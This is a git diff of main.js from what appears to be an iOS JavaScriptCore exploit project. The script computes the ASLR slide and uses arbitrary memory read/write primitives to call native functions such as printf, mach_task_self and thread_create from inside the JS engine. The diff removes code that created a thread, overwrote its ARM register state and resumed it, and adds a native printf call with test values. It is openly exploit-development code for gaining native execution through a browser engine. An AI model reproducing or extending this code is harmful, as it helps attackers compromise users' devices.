diff options
Diffstat (limited to 'src/js/main.js')
| -rw-r--r-- | src/js/main.js | 55 |
1 files changed, 8 insertions, 47 deletions
diff --git a/src/js/main.js b/src/js/main.js index d611329..683c96a 100644 --- a/src/js/main.js +++ b/src/js/main.js @@ -12,13 +12,13 @@ var ARM_THREAD_STATE = 0x1; var ARM_THREAD_STATE_COUNT = 0x11; try { - log("we out here in jsc"); + puts("we out here in jsc"); } catch (e) { /* - * we don't have log. :( + * we don't have puts. :( */ - log = function (){}; + puts = function (){}; } function main() { @@ -34,29 +34,11 @@ function main() { slide = get_our_slide(); base = 0x4000 + (slide << 12); slid = (slide << 12); - mytask = 0; - count = 0x130000; - th = 0x130100; -// thread_state_ptr = 0x130008; - thread_state = 0x130200; - countptr = 0x131000; - thptr = 0x131004; - thread_stateptr = 0x131008; - - countptrptr = 0x132000; - thptrptr = 0x132004; - thread_stateptrptr = 0x132008; - - write_u32(countptr, count); - write_u32(thptr, th); - write_u32(thread_stateptr, thread_state); - - write_u32(countptrptr, countptr); - write_u32(thptrptr, thptr); - write_u32(thread_stateptrptr, thread_stateptr); init_sptr_heap(); + var i = 0; + puts("we out here"); puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?"); @@ -65,35 +47,14 @@ function main() { printf("*(uint16_t*)base = 0x%x\n", read_u16(base)); printf("*(uint32_t*)base = 0x%x\n", read_u32(base)); - puts("alive"); - mytask = calls4arg("mach_task_self", 0, 0, 0, 0); - - printf("%x %x %x\n", mytask, thptr, th); - printf("%x %x\n", thread_stateptr, countptr); - - puts("alive"); - calls4arg("thread_create", mytask, th, 0, 0); - printf("mytask=%x th=%x\n", mytask, read_u32(th)); - puts("alive"); - calls4arg("thread_get_state", thptr, ARM_THREAD_STATE, thread_stateptrptr, countptr); - printf("thread_state=%x\n", read_u32(thread_state)); - puts("alive"); - for (var i = 0; i < 16; i++) { - write_u32(thread_state + (i << 2), 0x41414140 + i); - } - printf("thread_state=%x\n", read_u32(thread_state)); - puts("alive"); - calls4arg("thread_set_state", thptr, ARM_THREAD_STATE, thread_stateptrptr, ARM_THREAD_STATE_COUNT); - puts("alive"); - calls4arg("thread_resume", thptr, 0, 0, 0); - puts("alive"); + callnarg(sym_cache["printf"], sptr("Hello world! %x %x %x %x %x %x %x %x %x %x %x %x %x\n"), 0x420, 0x69, 0x1337, 0x13371337, 0xb1a7e17, 0x41424344); // var i = 0; // while (true) { -// calls4arg("syslog", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide); +// calls4arg("sysputs", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide); // calls4arg("sleep", 1, 0, 0, 0); // i++; // } - log("still alive"); + printf("still alive18\n"); }; |
